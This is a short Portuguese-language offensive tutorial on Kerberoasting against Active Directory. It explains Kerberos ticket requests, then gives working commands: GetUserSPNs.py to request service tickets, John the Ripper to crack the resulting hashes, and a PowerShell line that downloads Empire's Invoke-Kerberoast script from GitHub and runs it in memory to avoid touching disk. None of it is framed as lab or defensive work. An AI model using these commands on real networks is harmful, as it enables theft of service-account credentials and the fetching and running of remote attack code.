.---------------.   
   | C:\>by oisina |
   |   -._ .-.     |
   |   -._| | |    |
   |   -._|"|"|    |  $ templo7k.ninja
   |   -._|.-.|    |
   |_______________|
   /-.-.-.-.-.-.-.-\
  /-.-.-.-.-.-.-.-.-\
 /-.-.-.-.-.-.-.-.-.-\
/_____/__________\__o_\
\.___________________./


[#] Primeiramente, antes de explorar o Kerberoasting, é nosso dever entender o que é e como funciona o Kerberos!


[ What is Kerberos? ]
Em resumo, Kerberos é basicamente um protocolo de autenticação utilizado para verificar e identificar usuários do Active Directory.


[ How does Kerberos work? ]
A autenticação do Kerberos funciona da seguinte forma:
o Kerberos usa uma criptografia de chave simétrica e um centro de distribuição de chaves,
o KDC (Key Distribution Center) para que ele verifique e autentique novas chaves e identidades
dos usuários do AD. Envolvendo aspectos como um servidor para concessão de tickets,
conecta o usuário ao servidor de serviço do Kerberos e um banco de dados que armazena a senha e
identificação dos usuários que foram verificados.


[ Kerberoasting ]
Qualquer usuário dentro do domínio pode fazer a requisição de tickets para qualquer serviço
(TGS - ticket granting server), não é necessário um usuário com privilégios altos, além disso,
o serviço não precisa estar ativo para que póssamos requisitar o ticket,
serviços executados em nome de contas de usuários no AD.
Os tickets TGS são criptografados como chaves da senha de um usuário,
o que significa que podemos quebrar essa chave offline e pegar a credencial do usuário.

Primeiro, para pegar um usuário SPN, podemos utilizar o script GetUserSPNs.py, desta forma ↓
oisina@7k > python3 GetUserSPNs.py -request -dc-ip DC_IP DOMAIN/user -save
Assim, o script te trará um usuário SPN juntamente com sua credencial criptografada no tipo
KRB5TGS-REP, agora, podemos crackear utilizando o john ou hashcat! x)

oisina@7k > john /path/to/krb5.hashes --wordlist=wordlist.txt


[#] Kerberoast sem tocar no disco (Windows only):

ps > IEX (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1")
ps > Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.kerberoast


thanks for reading :3